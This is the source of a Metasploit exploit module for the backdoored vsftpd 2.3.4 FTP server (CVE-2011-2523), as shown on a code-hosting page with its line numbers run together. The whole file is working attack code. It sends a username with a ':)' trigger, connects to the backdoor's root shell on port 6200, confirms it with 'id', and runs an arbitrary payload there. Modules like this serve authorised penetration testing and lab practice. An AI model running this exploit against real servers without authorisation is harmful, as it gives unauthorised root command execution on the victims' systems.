Path: blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
25511 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',15'Description' => %q{16This module exploits a malicious backdoor that was added to the VSFTPD download17archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between18June 30th 2011 and July 1st 2011 according to the most recent information19available. This backdoor was removed on July 3rd 2011.20},21'Author' => [ 'hdm', 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2011-2523' ],25[ 'OSVDB', '73573'],26[ 'URL', 'http://pastebin.com/AetT9sS5'],27[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],28],29'Privileged' => true,30'Platform' => [ 'unix' ],31'Arch' => ARCH_CMD,32'Payload' => {33'Space' => 2000,34'BadChars' => '',35'DisableNops' => true,36'Compat' =>37{38'PayloadType' => 'cmd_interact',39'ConnectionType' => 'find'40}41},42'Targets' => [43[ 'Automatic', {} ],44],45'DisclosureDate' => '2011-07-03',46'DefaultTarget' => 0,47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options([ Opt::RPORT(21) ])56end5758def exploit59nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil60if nsock61print_status("The port used by the backdoor bind listener is already open")62handle_backdoor(nsock)63return64end6566# Connect to the FTP service port first67connect6869banner = sock.get_once(-1, 30).to_s70print_status("Banner: #{banner.strip}")7172sock.put("USER #{rand_text_alphanumeric(rand(6) + 1)}:)\r\n")73resp = sock.get_once(-1, 30).to_s74print_status("USER: #{resp.strip}")7576if resp =~ /^530 /77print_error("This server is configured for anonymous only and the backdoor code cannot be reached")78disconnect79return80end8182if resp !~ /^331 /83print_error("This server did not respond as expected: #{resp.strip}")84disconnect85return86end8788sock.put("PASS #{rand_text_alphanumeric(rand(6) + 1)}\r\n")8990# Do not bother reading the response from password, just try the backdoor91nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil92if nsock93print_good("Backdoor service has been spawned, handling...")94handle_backdoor(nsock)95return96end9798disconnect99end100101def handle_backdoor(s)102s.put("id\n")103104r = s.get_once(-1, 5).to_s105if r !~ /uid=/106print_error("The service on port 6200 does not appear to be a shell")107disconnect(s)108return109end110111print_good("UID: #{r.strip}")112113s.put("nohup " + payload.encoded + " >/dev/null 2>&1")114handler(s)115end116end117118119